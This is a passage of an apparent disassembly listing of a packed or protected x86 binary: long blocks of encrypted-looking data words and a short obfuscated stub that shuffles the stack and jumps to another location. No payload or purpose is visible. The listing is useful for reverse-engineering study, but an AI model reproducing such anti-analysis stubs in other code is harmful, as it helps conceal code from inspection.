491A9CD8h dd 822AB3FEh, 1FAB57F8h, 9CDCFE60h, 261EB1Ah, 51FE8814h dd 0D57A04B5h, 831B1F9Fh, 9FEAAF34h, 6BE46E16h, 5EA3139Fh dd 4FF3B25Ah, 7C1CD2D7h, 0F1108031h, 0B33CDE88h, 370C9368h dd 80A02058h, 0ECCE8D35h, 0FE57D9Eh, 0D4921CC4h, 5B0B9546h dd 425B6DC1h, 0D15AB560h, 0FF72h, 4EBC9400h, 0CC3E139Dh dd 43C1911Bh, 0BF5B0892h, 38E2840Eh, 6457EE87h, 0DD671802h dd 56E09187h, 0D05A0B0Fh, 0FCD2837Fh, 9E89554h, 891B1CCFh dd 9785E1E0h, 17F35CE6h, 6EE1BD66h, 0EFCB7433h, 0AFFA1A9Ch dd 0A933DB64h, 0D3491DBAh, 2BB4FF4Ah, 85CA54E0h, 66EF2B3Ah dd 1D74461Bh, 930D9726h, 0DA279748h, 37736DEh, 381CCF90h dd 75DA64EDh, 0DF0CE189h, 0E9651D82h, 78C33F10h, 0BE933BECh dd 8F4E2BACh, 0C54FDBB1h, 4AD47C8Ah, 0B4E1A019h, 67E330E5h dd 0BC45D11Ch, 6470D6FDh, 0D49AFEFh, 0BA6B97B8h, 5AE31F30h dd 0FE8793D0h, 0A12AF074h, 43CC4E17h, 0DF6896B9h, 93AB1194h dd 7FCA381Ah, 0D37B23CBh, 0CB9A6B14h, 904F9AF7h, 0F7CB9AE7h dd 6423CB16h, 0F7CB9A3Bh, 0AD139FEAh, 9756FE91h, 0F7CB9AEEh dd 0BC46D21Dh, 3CC67793h, 0F6EF713h, 0Ch, 1D67E66h, 19DEDAB6h dd 50F9853Dh, 8916FE1h, 0AC35D17Eh, 4ED74322h, 0F17AA0C4h dd 941DFF67h, 35BE5C0Ah, 0D962B8ABh, 7801034Fh, 1EA763EEh dd 0E389536Fh, 4C381h, 0EB830000h, 241C3304h, 33241C31h dd 685C241Ch, 4687h, 83240489h, 3C8904ECh, 0B5E6824h, 14890000h dd 0DC30BA24h, 0D0890653h, 4EC815Ah, 89000000h, 4812424h dd 424h, 56535F00h, 0F389C689h, 85F895Eh, 243C8B5Bh, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 582434FFh, 0E904C483h, 0FFFB638Eh dd 0E52673F0h, 4E622A70h, 0B8E39E06h, 653E7D7h, 0E0FFC503h dd 11C6BAA4h, 6B9055F0h, 7AA08C85h, 4AC50DA5h, 66FABDB5h dd 67C2B38Bh, 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh dd 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h dd 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h dd 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh dd 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h dd 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h dd 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh dd 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h dd 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h, 1DD2055Dh dd 1417E9h, 0EB426800h, 5EE90653h, 68FFFA96h dd 653EC87h, 0FA9654E9h, 0ED7F68FFh, 4AE90653h, 68FFFA96h dd 653EED8h, 0FA9640E9h, 0EF6F68FFh, 36E90653h, 68FFFA96h dd 653F056h, 0FA962CE9h, 0F11768FFh, 22E90653h, 68FFFA96h dd 653F1FDh, 0FA9618E9h, 0F2C268FFh, 0EE90653h, 68FFFA96h dd 653F3EEh, 0FA9604E9h, 0F4FF68FFh, 0FAE90653h, 68FFFA95h dd 653F67Eh, 0FA95F0E9h, 0F7BA68FFh, 0E6E90653h, 68FFFA95h dd 653F9C0h, 0FA95DCE9h, 0FAB968FFh, 0D2E90653h, 3AFFFA95h dd 4230AD2Fh, 503EBB31h, 5B49C606h, 705EDB11h, 1768E5E7h dd 0A359260Ch, 0B22A3826h, 0C4384735h, 0D10B5947h, 0DEB47B54h dd 0B7D34D99h, 0A417A27Dh, 367007DDh, 189EBE27h, 11CB9987h dd 0B8F3816Fh, 273695E2h, 4E101FBEh, 2342126Ah, 9B7138BEh dd 0BE26EBDCh, 672EB43Ah, 166B33A8h, 65EB8D4Fh, 4F59DEA6h dd 97C941BEh, 98A0763Dh, 76B47403h, 0FB784EF0h, 89B7D847h dd 93324FA0h, 6A512F48h, 0AE88D4ABh, 0A076F126h, 0B7D89BD7h dd 3D2BB137h, 8F15B735h, 4016FEh, 884F0000h, 0D89BC5B2h dd 175B49B7h, 33BE4FD5h, 0A06741F3h, 74D10ACAh, 773EC4B4h dd 1D9DDAB0h, 0EB71B7D9h, 91E2B85Ah, 0F3B7D91Dh, 299CB90Ah dd 0B351300Bh, 128h, 0D10F2DECh, 6841C5E5h, 0F77D4CD7h dd 186553F5h, 0C5442E4h, 36BEB98Fh, 0CA50BE27h, 0D35993DCh dd 86F450Ch, 6BE2737h, 0AC29280h, 2210D779h, 0F5825853h dd 19BE2736h, 0E56B0D93h, 761E6654h, 0CA50F2EAh, 4100C744h dd 1932D59h, 2D039496h, 0BE262C4Fh, 0B734A8B8h, 9F41BBC9h dd 0D49B7527h, 73CBBEFEh, 3107CEB4h, 0B7D85A46h, 5488DAC8h dd 15A62CB2h, 35AD2AB0h, 1BE2A903h, 71F0775Ch, 0F0815DF2h dd 27ED1A1Ah, 0A76EF4AEh, 19EFACB9h, 0BE08F95Eh, 3EA35927h dd 7D6B32B8h, 0EE6BFCF0h, 0B4283927h, 0B4283523h, 0B62EE4E8h dd 7ED37542h, 1154h, 0BB38B4BFh, 0CB4884CDh, 0DE5B91DDh dd 0EB6864F0h, 0FF7C70FDh, 0B0BD75AEh, 81D1BF3Ch, 91E0CE4Bh dd 60F0DE5Bh, 4F16EF6Ch, 0D34BFE79h, 0AA3510B7h, 7007DDA4h dd 9EBE2736h, 533399DFh, 58DEC44Bh, 508CD9C7h, 16D69B89h dd 2AFE794Fh, 8A10BE27h, 0C68E7CF9h, 2A88EFC5h, 86BE27h dd 0BBC5B37Ah, 2C590C08h, 860CA2F9h, 0F2B178F5h, 0D4F9D4A3h dd 43CE5FA4h, 0A06741F3h, 74D10ACAh, 9C3EC4B4h, 3F380ED5h dd 0CFB7D91Dh, 0D6165B49h, 1E046F45h, 0F281B7D9h, 680AC292h dd 0CCBA5CE2h, 23A84A82h, 0BEADE93Ah, 5E6784D5h, 8051300Ah dd 0E3h, 1018FAB9h, 0F0F03D64h, 0B6A4D45Fh, 0AE9C2DAFh dd 0A05F26A6h, 0A981C467h, 9AB3C59h, 0F89A521Bh, 26725A22h dd 4785CBBEh, 491503CAh, 0DA6BF193h, 0C66864ECh, 0FBC22A4Eh dd 740D9725h, 57E8A7B4h, 0B4C3990Eh, 62B7D8F2h, 0F7CC1DDCh dd 0E76D6FF7h, 0EE6BF156h, 23EAC276h, 1CAD2F35h, 23C47F55h dd 0DAC8AE28h, 40370D8Eh, 0CEBE0847h, 9A20C248h, 0F240F8DBh dd 0C75845CDh, 4E15DC62h, 38DA1260h, 2A3321B2h, 3E4735B2h dd 0F8F2BEh, 0D37542B6h, 100F7Eh, 83790400h, 914B1806h dd 0A4582614h, 0AD2F3927h, 0B7354230h, 0F83AE93Ah, 2F06D6Fh dd 11FF7C70h, 1F0D8A42h, 451E9B51h, 4ACFA87Eh, 643FB7D3h dd 0FCF07DD9h, 0D1A76E35h, 0BE2736A6h, 6B0CE268h, 0ABBE2736h dd 29179425h, 0AF2D395Bh, 7D21AC29h, 6553F5F7h, 7260DD1Fh dd 5846E8E4h, 0EA57D408h, 0C484B838h, 1AA042BAh, 0AEAF05Bh dd 3893F2Ch, 98B6753Ch, 0F97E5438h, 1DBE2696h, 3032D897h dd 0D89C7203h, 36B474D0h, 75FBE9B0h, 380ED577h, 0B7D8D83Fh dd 32C349CFh, 6783F1C7h, 0C67A8062h, 0A35127EEh, 6DC2B0BCh dd 0ABCD45E7h, 33BB7A41h, 0B5373E56h, 0F2CE8D13h, 0EBB243C0h dd 0F0875D24h, 0BCC69C63h, 9C6391E6h, 9AFF85C6h, 0E7AD8314h dd 7BCEEDEh, 2934919h, 26A6AF9Dh, 65EBD9A0h, 88275026h dd 61E7CC4Bh, 0E0705EDBh, 0A03020ECh, 0F7993473h, 0F17A2h dd 7B71FC00h, 894310FEh, 9C501E0Ch, 0A527311Fh, 0AF2D3A28h dd 0F042E132h, 0FAE86567h, 9F77468h, 1705827Ah, 3D169349h dd 49D7A076h, 5C37B7D3h, 0F5F77DD1h, 4FB9DB53h, 273EB288h dd 0E2D0B475h, 32B85A92h, 85B72FACh, 5A8E642Bh, 0FCAE26CEh dd 48A420Eh, 1CE78C62h, 0D69DBE27h, 0D26399E8h, 4A7B98E9h dd 0B5577E0Ah, 0B041BBC7h, 3CC8h, 41F33D00h, 431272FFh dd 0DB61E789h, 0EBB88E55h, 63B474E4h, 592816DDh, 295026A3h dd 64B7D8E8h, 0F1EB781Ch, 3927EE6Bh, 0C438492Bh, 0B0BFAD3Eh dd 0AF518BD4h, 0AC01A329h, 0E6Ch, 0ADB6A421h, 72269E2Fh dd 0A0FDD39Ah, 8AB47B0Dh, 14F3D04h, 10604ECBh, 0D1B9EA74h dd 85552B95h, 0BA40E268h, 0DDCB9234h, 4DC55696h, 24FAC12Bh dd 0AE27FEDAh, 4F88472h, 54200E73h, 592FF698h, 0BE264F1Eh dd 5EE46AF0h, 22DAA997h, 0A269FA80h, 6666EDDBh, 0BFAD3EC4h dd 86743BB1h, 9C5BFDFFh, 0D8EE81F6h, 4EDF65BEh, 5F9DE3D1h dd 7A08F6BDh, 920C6B41h, 840ABE26h, 45D65CFEh, 8CD9ABCDh dd 0A228AE50h, 765514DBh, 15767CE7h, 0B86611E7h, 551FBE26h dd 0A6FF597h, 562CF384h, 0B4744B36h, 907642C8h, 0E548E64Ch dd 0DBEEE43h, 0A550000h, 1A6755D2h, 0EF7765E2h, 0F68270EDh dd 0C28B79F6h, 0E73C8D0Ah, 4DCA024Bh, 5CD9135Fh, 68E5E76Eh dd 75F2EA7Ah, 78FFD59Ch, 96B7D348h, 0DE9530BBh, 0CEBE2736h dd 1C0B310Fh, 0F0D99854h, 3AB243EAh, 28E7AE06h, 3AA5FD53h dd 87451190h, 48D95FE5h, 1A4BAB81h, 0BF45B47Ah, 827A0AF8h dd 0E8B7FCBBh, 993BB1C2h, 0E23A5413h, 0FFED6AFBh, 0EDB47B71h dd 0D37577FFh, 2C00774Dh, 880EB7D4h, 0BBDD55F7h, 3CB48A51h dd 0CAAE221Ch, 0F59C7844h, 3BDD42B4h, 0D27E6h, 6B61EC00h dd 797300EEh, 8C400EFCh, 9557210Fh, 9F5D2A18h, 0E052D122h dd 0EAD85597h, 0F9E76498h, 7F5726Ah, 2D068379h, 47E79066h dd 4C27B7D3h, 0A9B6A4C1h, 7A0B9133h, 0D0A0C48Ch, 6F47A1Ch dd 33FA807Ch, 0BE027674h, 272B52A2h, 0F77D03A5h, 8ED6C466h dd 1700AC4Eh, 145B49C6h, 0BA7736D8h, 0C46CFC39h, 7FE677FDh dd 577E0A46h, 73998h, 41F30D00h, 25CAA067h, 77B47B0Eh dd 4E9DDAB0h, 8371B7D3h, 0E97A00FCh, 7037FE84h, 0C092F282h dd 5EE46A0Ch, 0B7A536BCh, 0EFB633A9h, 43107401h, 0DB61E789h dd 3422B339h, 0BE3E482Ch, 10CF9638h, 0BCB782A5h, 4B81CF20h dd 0C9D23A9h, 0D3C33D36h, 0F4816FB7h, 4DEF67F8h, 2AC69C63h dd 0DCAE21B4h, 0BA383F15h, 0E8D6BE09h, 56DC629Ah, 0B56DB88Ah dd 0EE43E542h, 0C40h, 0D75488D3h, 0E76498E9h, 0F26F6DF9h dd 7847804h, 13904C19h, 84D161C2h, 95DDCB48h, 65ECDA57h dd 74FCEA67h, 5B22FB78h, 0D346F285h, 0BE4924B7h, 2EF5F77Dh dd 36E69167h, 0D19FBE27h, 9F30B61Bh, 8B410FFDh, 3543DE9h dd 8EE9BF86h, 0F7BE2736h, 840A6F6Dh, 38398CF3h, 63A3577Eh dd 18000006h, 2736DE95h, 587B1DBEh, 6E8B6A71h, 743BC181h dd 7A4B119Eh, 0B87F05B4h, 8DDABACAh, 71FA904Fh, 18D40D52h dd 2E04CB92h, 0B7D3FD49h, 22C43844h, 20B1379Ch, 2DAFB5A3h dd 8761138Bh, 0EE06EAC0h, 0D796AE21h, 864B75B1h, 0FCD299FDh dd 0BE09DF7Bh, 1F84159Bh, 4905CD99h, 7C1E42B5h, 0B7F27h dd 13C99400h, 21DBA896h, 34A8B6A4h, 3DBFC9B7h, 4785D2C0h dd 88AA79CAh, 9280FDFFh dd 0A18F0CC0h, 0AF9D1AD2h, 0D5AE2BA1h, 453F380Eh, 0F4CFB7D3h dd 0F5F77D69h, 0D79E8C53h, 0FFED7315h, 4ED47676h, 0A81CFBDh dd 27364334h, 0C74DD3BEh, 3F907925h, 7E37A322h, 5A83957h dd 0F3AE0000h, 0CAA06741h, 0B47B0E0Ah, 0B0773EC4h, 0D2D878F1h dd 3BCC3139h, 48C5074Dh, 4781C281h, 291A5D33h, 76FCB7D4h dd 0D95BFFB7h, 77560C84h, 4230B6C0h, 9319BB31h, 574C1402h dd 332D8BABh, 9A3CC27Dh, 0D42FAFC4h, 410FFDB7h, 0FB9D5F23h dd 0C74DEF75h, 0CA9ABE36h, 0F5BC42BAh, 0A5B14F36h, 0D162B7D3h dd 0C55430Ah, 17A82ED0h, 220AAF41h, 4711FFAEh, 0F95571Dh dd 24057248h, 8309BE0Ah, 3B078DF2h, 42B5057Dh, 998BE082h dd 7A00000Ah, 8270EDEFh, 907EFBF1h, 9B8906C6h, 0B09E1BD1h dd 57A825A7h, 0E31966CCh, 0F2EA7866h, 4F88775h, 11CB9987h dd 1EF4BB94h, 0B7D34559h, 7D57E2BDh, 6553F5F7h, 4D3BDD1Fh dd 3C2ACC00h, 6C17B933h, 4AF63283h, 0D2F31061h, 0C577E37h dd 4CAh, 36E39581h, 7E22BE27h, 0BCF9CF96h, 0D4B47B0Dh dd 4E40370Dh, 3B45B7D3h, 45D65CC1h, 0A5935AE0h, 33A9B5DFh dd 20DCA391h, 0EC72F87Eh, 929F5E25h, 399BE4F7h, 0B3BFB88Eh dd 0C94FB7D3h, 87CDBB38h, 92BA345h, 3B11D89Fh, 0B7D3B33Ch dd 0B3D5A278h, 0B339B7D3h, 7037C84Eh, 0CAACEAA9h, 0F71E2E50h dd 0C7EC9066h, 5CE2AE21h, 0B551DC90h, 0D62BCD42h, 9D4h dd 3BB8343Fh, 4BC8044Dh, 5EDB115Dh, 6BE8E470h, 7FFCF07Dh dd 303DF52Eh, 1513FBCh, 11604ECBh, 0E0705EDBh, 0CF966FECh dd 0D3447EF9h, 2AB590B7h, 53F5F77Dh, 3BDD1F65h, 1E64004Dh dd 30B63CDEh, 0E2D1A08Eh, 1E2555D7h, 65078D6Eh, 4480D1BAh dd 17BB0CF5h, 0AF169349h, 577D4C16h, 149C8h, 0F77D3D00h dd 1F6553F5h, 0B4E860DDh, 7CE955Ch, 27364631h, 5442C8BEh dd 693FD00Ch, 0B474C4CFh, 0BE24A05Fh, 0F50FE54h, 0F193197Eh dd 0D904581Bh, 0A7252DB7h, 8D4F1705h, 33846DEBh, 0CE1F08F7h dd 300614B1h, 25CA51h, 15030000h, 73FE8F4Dh, 0A06741F3h dd 74D10ACAh, 9C3EC4B4h, 0D91DADC6h, 9DEED7B7h, 300B4580h dd 0A69751h, 0A40C0000h, 0F39909E5h, 9324DC91h, 7B1DDFA5h dd 6A0CC08Dh, 56F8F47Ch, 67E41868h, 267FDB91h, 28A4ACBEh dd 0A70133ABh, 6B61F2E0h, 0EBB243C9h, 7610B015h, 0BD840AB4h dd 7F4686CFh, 1E0CC091h, 6FF59755h, 0EA7361DEh, 599CDBB1h dd 8C7AB7D6h, 860CC0h, 0E8CF8A34h, 70C56748h, 8A8h, 6FECE06Bh dd 7FFCF081h, 8A07C591h, 9F1CD09Ch, 0AB28A4B1h, 1C69C95Ah dd 0ED7563E0h, 0FD8472EFh, 0CC9482FFh, 0F3BA9310h, 0D3435A1Dh dd 56E1BCB7h, 7FFCF07Dh, 8C09C391h, 4F28FEC5h, 36BE2736h dd 880EB02Ch, 810C9D23h, 2EF5F77Dh, 0ADCAA067h, 61BE2736h dd 367205DBh, 1EA4BE27h, 36F68157h, 9218BE27h, 0E3715F01h dd 0B82CE0B0h, 0D157F8DEh, 0D79F8D54h, 5CED7315h, 2AD07h dd 41F37C00h, 0EBD9A067h, 4DA6B61h, 0B4752D00h, 797300EEh dd 353E2CF3h, 0AE8426B7h, 0B7D931C5h, 9335B7C0h, 8DEDDA5h dd 0B7D9316Fh, 0F193199Fh, 0FD398A73h, 0B7D4250Eh, 51301F0Eh dd 236D0h, 0D9954500h, 20BE2736h, 0F7CD947Ch, 0B47B0DC0h dd 0C5692DECh, 8C396243h, 43E54A8Bh, 0DB6CF27Eh, 6229F076h dd 4DEFED74h, 384836C7h, 0B5947C4h, 85B72FD1h, 0EE8E642Bh dd 7EAE2148h, 6305C790h, 4FF1EB75h, 4DB243C9h, 0D35BFBC7h dd 822442B5h, 7972Dh, 0FBF17C00h, 9C3907Eh, 1CD09E8Ch dd 25A7B19Fh, 2FADBAA8h, 70C261B2h, 7A68E5E7h, 8977F4E8h dd 978502FAh, 0BD9613C9h, 425720F6h, 0DCB7B7D3h, 0F5F77D51h dd 751F6553h, 3F987EDh, 8E55DB61h, 2736BFB8h, 43C94FBEh dd 98DFB57Ch, 76BE2736h, 777502F0h, 0CF544E6h, 0FB7F3EBBh dd 48A52D88h, 0C007938h, 214B145Ah, 1AD2A290h, 0C1B68C53h dd 55BE270Eh, 5AC13ECFh, 577DFB6Bh, 1FDDA492h, 5A72531h dd 5806EE7Fh, 3F000001h, 26C80451h, 7D840FA0h, 6553F5F7h dd 0E860DD1Fh, 66EF4B4h, 56F87E7Eh, 95834AD0h, 0BC8314C8h dd 74C552E6h, 1CBE44B4h, 0D9092D46h, 1D6E57B7h, 300AC500h dd 471751h, 0F38C0000h, 0CAA06741h, 0B474D10Ah, 0B0773EC4h dd 0D91D9DDAh, 5AEB71B7h, 1D91E2B8h, 6EF4B7D9h, 95DECC6Eh dd 210AB557h, 0DEA594D0h, 0CC8A5817h, 5303C252h, 0D8C9FA7Dh dd 5961CB7h, 17AECB1Ch, 0C5512FB7h, 0BBh, 0F5F77D3Ah, 7C186553h dd 99DEB4F7h, 7DBE2736h, 49EB71F7h, 35D7155Bh, 145B3947h dd 0ED552D8h, 0D3095947h, 27367AFDh, 28169CBEh, 3D13A458h dd 0BE26985Fh, 488B3848h, 0A108A244h, 63FED2F4h, 0A56984A4h dd 1D6A581Fh, 59D14EDFh, 3F06CD27h, 6BD5A278h, 0B339BE26h dd 0B0794C22h, 0CF55B475h, 8F4D1A08h, 0A15B2412h, 0E86F3FD5h dd 0FD52F448h, 618h, 0FF7C70FBh, 0F8C4011h, 1A975521h dd 2FAC202Ch, 3BB83441h, 6CF939EAh, 7D05F370h, 4D14027Fh dd 5C24128Fh, 834A23A0h, 0D340CAADh, 0E6714CB7h, 35FCF07Dh dd 26853E47h, 87BC4C42h, 9F25C74Dh, 0DDA3910Eh, 7D17A21Fh dd 6553F5F7h, 9960DD1Fh, 0A0F35CDAh, 7664F6D1h, 0CB51F3E9h dd 38E53Ah, 0A45A0000h, 9E2FADB6h, 8A2CA0B0h, 5126FCC3h dd 0C5BE2736h, 0B0C0AE3Fh, 0DDC69A3Ch, 2B98E88Ch, 5B937739h dd 0AB28AE35h, 396AF6E4h, 2F5DAA7h, 7A0B9153h, 1C25h, 0F77D9A00h dd 91672EF5h, 0BE2736E6h, 6F11A228h, 2736DB99h, 7FD0B9BEh dd 0DA5795DBh, 0F5F77D4Fh, 4FB9DB53h, 0DEBB288h, 0D157B47Bh dd 57541C0Ah, 0D34DF681h, 0C9218B7h, 19D3A18Fh, 735DFF77h dd 1FD7EDACh, 6B552Dh, 4ED47676h, 518BDAC8h, 0D19829AFh dd 1B274B0Ah, 0D43A61C1h, 0BE916D43h, 0F57BAE27h, 0BC30402Eh dd 3C03941Ah, 0FDFF8775h, 0F6F67E6Ch, 9FC58B79h, 0EF7517D5h dd 4100C769h, 0C986C434h, 373E2C03h, 88AC24B5h, 9835920h dd 37B4745Ch, 3EC43849h, 0E63CE672h, 90E58748h, 4DCh, 33B02C37h dd 43C03C45h, 56D30955h, 63E01C68h, 77F4E875h, 2835FD26h dd 394937B4h, 95846C3h, 186856D3h, 0C78E67E4h, 0D33F86F1h dd 22AD88B7h, 78F5F77Dh, 6002FA8Ah, 0FD2ADA99h, 729463B2h dd 6F6DF3E1h, 44957ECDh, 9F1CD0A0h, 7D338D38h, 684F57h dd 0F3C40000h, 0D9A06741h, 5FF81D1Ah, 0A795A38Ah, 0FB8123D9h dd 1C0F946Ah, 0B93FB474h, 467D04F2h, 794FCF9Dh, 0B7D901FEh dd 82CB8A10h, 920F957Dh, 0D8AFBDBCh, 4C80D0B7h, 4D1A08CFh dd 0D667ED8Fh, 0D32A99E8h, 0B883291Dh, 3FBDC4B2h, 7F04F2B9h dd 834AEC7Dh, 0D4811CC4h, 0A76EBB9Bh, 0D8B5A6D1h, 51E268B7h dd 41FFCh, 0F77D7100h, 9E8C53F5h, 0EE7416D6h, 0EBE16F5Dh dd 6A42F66Eh, 64EEDCA3h, 3701D768h, 0D9B474C5h, 0FCEAB153h dd 89431074h, 0D79C7203h, 0ADB7D909h, 706CF8E6h, 918948CEh dd 71E1EB81h, 0A9FAE374h, 2F60398Ch, 8DD6C451h, 9627AD4Fh dd 41AEh, 41F32300h, 0ACAA067h, 62B474D1h, 0DBB1EA74h dd 0B7D91D9Ch, 0CC6EF47Ah, 8950B546h, 4016D69Bh, 0B7D91D37h dd 29CB51D7h, 0D91D2053h, 2A7B64B7h, 300AB80Dh, 0D594751h dd 16A72DCFh, 1042Eh, 0F77DA300h, 42F36ABCh, 44CAC65Bh dd 0CC08F7Dh, 7425E46Ah, 6B527E2Eh, 0C2B052E3h, 0A79537B5h dd 938123D9h, 5A480FCDh, 0C441D20Ah dd 176036FDh, 6EBE2661h, 0FA80E5E7h, 55E99369h, 64EBE26h dd 4011FFC6h, 1AA05C24h, 561E0C89h, 93E1CF96h, 0BCC9B759h dd 8729BA40h, 1083D2C0h, 0D546D936h, 30D25875h, 77D82571h dd 40C6F14Bh, 0AB0537AFh, 262F1DE4h, 6E09DFA6h, 0A0BE2713h dd 0C1B3891Ah, 0EDB474A3h, 0D77973FFh, 0D55BC051h, 54BCE058h dd 17D59F8Dh, 975EEF75h, 285E4AC1h, 0ADB4A2AEh, 76078D2Fh dd 0D6C48B11h, 0E8D65389h, 0F915D9Fh, 9C42B69Ch, 2D6A5FAh dd 323D0000h, 24F3DBAh, 175F4DCAh, 1E6A58D5h, 0EA7361DEh dd 0FF2475F2h, 35B22A33h, 44C13B47h, 50CD0F56h, 5DDA1262h dd 90E7BD84h, 7EB7D33Dh, 0F07D18A3h, 4587CDBBh, 30471DA3h dd 0DEBE2736h, 6755D258h, 0F9F37B19h, 0CE4BD157h, 6741F343h dd 0D10ACAA0h, 3EC4B474h, 1DADC69Ch, 8FD8B7D9h, 0B1BDAB4Dh dd 321B993Bh, 0EFB6A5E1h, 7E31DB30h, 0CE54F6F6h, 96AE4C0Fh dd 0D850B7C0h, 4BD157B7h, 6380D1BAh, 512F3D62h, 0B07Ch dd 0F77DF100h, 186553F5h, 106C42E4h, 9CBE272Bh, 8527A5AEh dd 8E14C897h, 23410FFDh, 0A01DA359h, 882AA2B2h, 0BD846C10h dd 74C38DE7h, 36FD83B4h, 0FF9CD77h, 978512FAh, 0FF7C0DCFh dd 0E4BAD587h, 0B7D8BD93h, 273EFD83h, 712D7D83h, 9D733AC0h dd 0AE27B98Fh, 4634FB81h, 0EFCC339h, 7CF98A42h, 3F0BC18Eh dd 42B667C7h, 0DD499E40h, 36000001h, 4634B12Bh, 5442BF3Dh dd 6755D20Ah, 7462DF1Dh, 2374F1EBh, 0A7253200h, 0B6363C2Ah dd 0C8044B39h, 0D5175D4Bh, 0E2B87F58h, 0B7D33C95h, 7D139E79h dd 7635FCF0h, 0F0817E3Bh, 75F283F0h, 8603F987h, 0F5F77DFBh dd 0D19E8C53h, 0A6262D1Bh, 0FFED7E04h, 10FE7B71h, 0D7C58C40h dd 629AE68Eh, 12B43AC0h, 0E159FB8Ch, 0C78E55BFh, 273686F1h dd 710288BEh, 0D94CD4AAh, 74FAB474h, 5D9FE4D2h, 4587CDBBh dd 0BE0FF8A3h, 0CA1B0482h, 219E5E26h, 561DF7A9h, 26AF8480h dd 42E46AAEh, 2ED00C54h, 17B93340h, 0FBFD7A50h, 8B11BE26h dd 1D7D49Dh, 0BE26FB76h, 0EA8C1298h, 872B7C65h, 0A377FDFFh dd 193B69BAh, 68FAE8AFh, 0A6714C3Bh, 0BA4085EDh, 3A019218h dd 73F1A064h, 363E2CB4h, 3AC025B6h, 4B81CFBDh, 0F7B4BBA9h dd 0D8525621h, 0AC202FB7h, 743BC147h, 5BFDFF86h, 24A244D5h dd 0B7C0965Dh, 57B7D852h, 59DF1D69h, 0EA8EDFC8h, 6DE5629Ah dd 531AE1CBh, 0A6934E94h, 0F889502Ch, 2698FE22h, 94E0CEAEh dd 0DC62C758h, 0C8044C3Ah, 2E5A4201h, 0C4737192h, 2A139133h dd 0DE89ABD9h, 30DD361Fh, 320860FDh, 0BE26B245h, 0F6BD43C9h dd 74550020h, 2F05CCB4h, 0B7D8A148h, 518BD8C6h, 12A329AFh dd 32AA27ADh, 0F1DFA60Eh, 3DC36567h, 860FE5ACh, 0C0AE2C78h dd 0DAAA983Ah, 0F0DEA522h, 75770163h, 36C74DEFh, 165C3848h dd 0BAB8BF95h, 0D056BE09h, 4C22C44Ah, 0A28BC22Dh, 33D51760h dd 1DBF3D45h, 0D30F6049h, 21C516FFh, 2E1C9953h, 3D04A626h dd 29CB014Fh, 582412A3h, 4C1402A4h, 7200EE90h, 442DD87Ah dd 5039B7F3h, 0CD9482FFh, 56E76D0Fh, 67E41868h, 4FF1EB79h dd 3FAh, 941F6F00h, 58FAF27Dh, 40E21A6Ah, 27C90352h, 11B32939h dd 0A25A23h, 0E5874512h, 0CD6F6DF7h, 0B35597DFh, 9E40BCC5h dd 0E0895012h, 405h, 4E88300h, 5C240487h db 89h, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 773Ch mov [esp], ebp push ebx mov ebx, 653E9BDh mov edi, ebx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push ebx mov ebx, edi mov [ebp+8], ebx mov ebx, [esp] add esp, 4 mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_5426E1 ; --------------------------------------------------------------------------- db 31h, 2Dh, 0FAh dd 26968E6Dh, 53FCBBB8h, 0FFC50306h, 0A4207EE0h, 0D324D750h dd 2AF1AF50h, 98F81E2Ch, 0F5479406h, 21F6832Dh, 618D8D72h dd 810653FEh, 0D9F7FED6h, 0C177BF2Dh, 8D892DB3h, 64E2B05h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 80C35040h dd 952204Dh, 4E1F0985h, 85C75F06h, 64E2B65h, 5B0Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 4CC35343h, 9589EB89h dd 64E0541h, 65D85C7h, 64Eh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 39D3BEC3h dd 0F606BC1h, 38Ah, 1AF68000h, 13E9h, 5BF7E600h, 546E8CF6h dd 1CEEC6F8h, 92DA1C8Dh, 8435BEACh, 75858961h, 0FF064E2Ch dd 4E1835B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0FA1377B5h, 0CBCFCF13h, 0BD8B1265h dd 64E1575h, 0F9995FFh, 8529064Eh, 64E1B99h, 95FF006Ah dd 64E1A59h, 4AEBC08Bh, 7D52E271h, 5987417Ch, 52E8AF11h dd 0B53D64BBh, 9504693h, 0EF4D69E5h, 0E1B0716Dh, 0AE021431h dd 4DC8DC49h, 85901AD8h, 1C4BB705h, 1F288C78h, 0FF9FC8CEh dd 265E98A9h, 0B47E623Ah, 0CC9F5F17h, 0F4BE5DC8h, 75D697CEh dd 0DE8AE95h, 0A0000000h, 0EBAA02F8h, 0E6CDFFE3h, 4E102624h dd 13E8h, 0FA4E00h, 9DFBC2BCh, 52EDDF97h, 9968E5CEh, 5DE451A5h dd 29C9BD89h, 5F5E064Eh, 0AAAB75BBh, 0AEC78123h, 33000058h dd 0B98529D2h, 8B064E2Fh, 0C9B4170Ch, 7567E981h, 606009A3h dd 6099531h, 11E9064Eh, 9000000h, 7196B359h, 94D96E8Bh dd 6B7176E4h, 0CD4626B2h, 616CB261h, 0F9F7F181h, 0F1817CA5h dd 52631CA2h, 29D8BE66h, 66170C89h, 83C17CB8h, 0BE904EAh dd 4000000h, 0F74CE53h, 4D4E0BD0h, 0FA81B68Eh, 0FFFFA818h dd 13850Fh, 0E8810000h, 3129DD0h, 1CE9h, 0B595A200h, 533B3EFBh dd 81666057h, 668A19C2h, 0E961C68Bh, 